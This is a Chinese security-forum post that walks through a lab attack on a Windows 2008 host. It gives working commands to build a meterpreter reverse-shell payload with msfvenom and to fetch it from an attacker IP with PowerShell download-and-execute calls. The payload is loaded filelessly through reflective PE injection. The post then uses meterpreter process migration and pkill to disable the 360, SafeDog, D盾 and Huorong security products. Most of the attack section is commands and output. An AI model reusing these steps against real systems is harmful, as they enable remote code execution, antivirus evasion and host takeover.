安全矩阵

 找回密码
 立即注册
搜索
查看: 2609|回复: 0

记一次PowerShell配合Metersploit的艰难提权

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-18 09:49:02 | 显示全部楼层 |阅读模式
原文链接:记一次PowerShell配合Metersploit的艰难提权

0x01 环境准备
kali(模拟公网攻击机)
Windows2008(靶机,装有360、火绒、安全狗、D盾)
Powersploit(PowerShell攻击框架)
https://github.com/PowerShellMafia/PowerSploit
0x02 尝试落地payload
首先msfvenom生成exe后门程序

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe
Python3开启http下载服务

python3 -m http.server
msf开启监听

执行powershell命令时被火绒拦截

(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")

0x03 PowerShell内存执行exe
这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步
  •         先将生成的payload在本地进行base64编码
  •         靶机执行远程下载命令
  •         靶机对payload进行解码并赋值给一个变量
  •         PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload

本地编码payload
PowerShell下执行
  1. function Convert-BinaryToString {
  2.   [CmdletBinding()] param (
  3.     [string] $FilePath
  4.     )
  5.     try {
  6.       $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
  7.       }
  8.       catch {
  9.         throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
  10.         }
  11.         if ($ByteArray) {
  12.           $Base64String = [System.Convert]::ToBase64String($ByteArray);
  13.         }
  14.         else {
  15.           throw '$ByteArray is $null.';
  16.           }
  17.         Write-Output -InputObject $Base64String;
  18.       }

  19. Convert-BinaryToString C:\6666.exe > C:\res.txt
复制代码


将res.txt放置到kali中的下载服务目录,供靶机加载

接下来远程加载Powersploit的PE反射模块

iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")
继续加载base64编码后的payload,赋值给一个变量

$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")
靶机解码payload

$PEBytes = [System.Convert]::FromBase64String($InputString)
反射调用

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

msf成功上线,全程没有任何文件落地,比较成功地避开了杀软对磁盘的查杀

0x04 艰难的后渗透攻击
先看一下进程,Windows下,我个人比较中意svchost.exe这个进程,注入率比较高,而且又是system权限,先来试试吧

ps -ef | grep svchost.exe

成功提权

migrate 336

当我准备添加用户的时候,被360的ZhuDongFangYu.exe进程拦截,接下来就是想办法干掉360、火绒、D盾、安全狗的主动防御系统

0x05 Kill主动防御
因为现在是system权限,所以优先尝试kill、pkill这两条命令。经过fuzz,得出以下几点结论
  •         D盾可直接Kill掉
  •         360、安全狗Kill掉后,30秒后会再次重启
  •         火绒权限不够,无法直接Kill

  1. meterpreter > pkill ZhuDongFangYu.exe
  2. Filtering on 'ZhuDongFangYu.exe'
  3. Killing: 6056
  4. meterpreter > pkill SafeDogGuardCenter.exe
  5. Filtering on 'SafeDogGuardCenter.exe'
  6. Killing: 5752
  7. meterpreter > pkill HipsTray.exe
  8. Filtering on 'HipsTray.exe'
  9. Killing: 7416
  10. [-] stdapi_sys_process_kill: Operation failed: Access is denied.
  11. meterpreter >
复制代码


0x06 单换杀软的男人
因为360的权限是比较高的,且我现在是system权限,就像尝试注入一下360的主动防御进程,竟然成功了!
​​

这一下我直接好家伙,先把SafeDog干掉
  1. ps -ef | Safe
  2. pkill Safe
复制代码



来靶机上看一下,发现安全狗的主进程都被干掉了,360还是狠啊

当我尝试杀死火绒的进程时,被火绒反杀了,也就是说,火绒把360的主动防御干掉了,可想而知它的权限得多大

重连一次shell后,我尝试注入360主动防御,杀死所有360的程序,成功拿下!

这时候还有一个ZhuDongFangYu.exe没杀,所以我们再注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了,因为主程序已经被它干死了哈哈哈

现在就剩下火绒了,我进入shell,尝试用taskkill干掉他的时候,发现了一个有意思的提示

火绒的父进程是service.exe,那么如果我注入到service.exe中,用service.exe杀Hips*.exe不过分吧?老子打儿子总没毛病了吧?
结果让我很满意哈哈哈哈哈

成功添加用户,遗憾的是没有添加到管理员组,这次艰难的后渗透,就先到这儿吧




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:45 , Processed in 0.013041 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表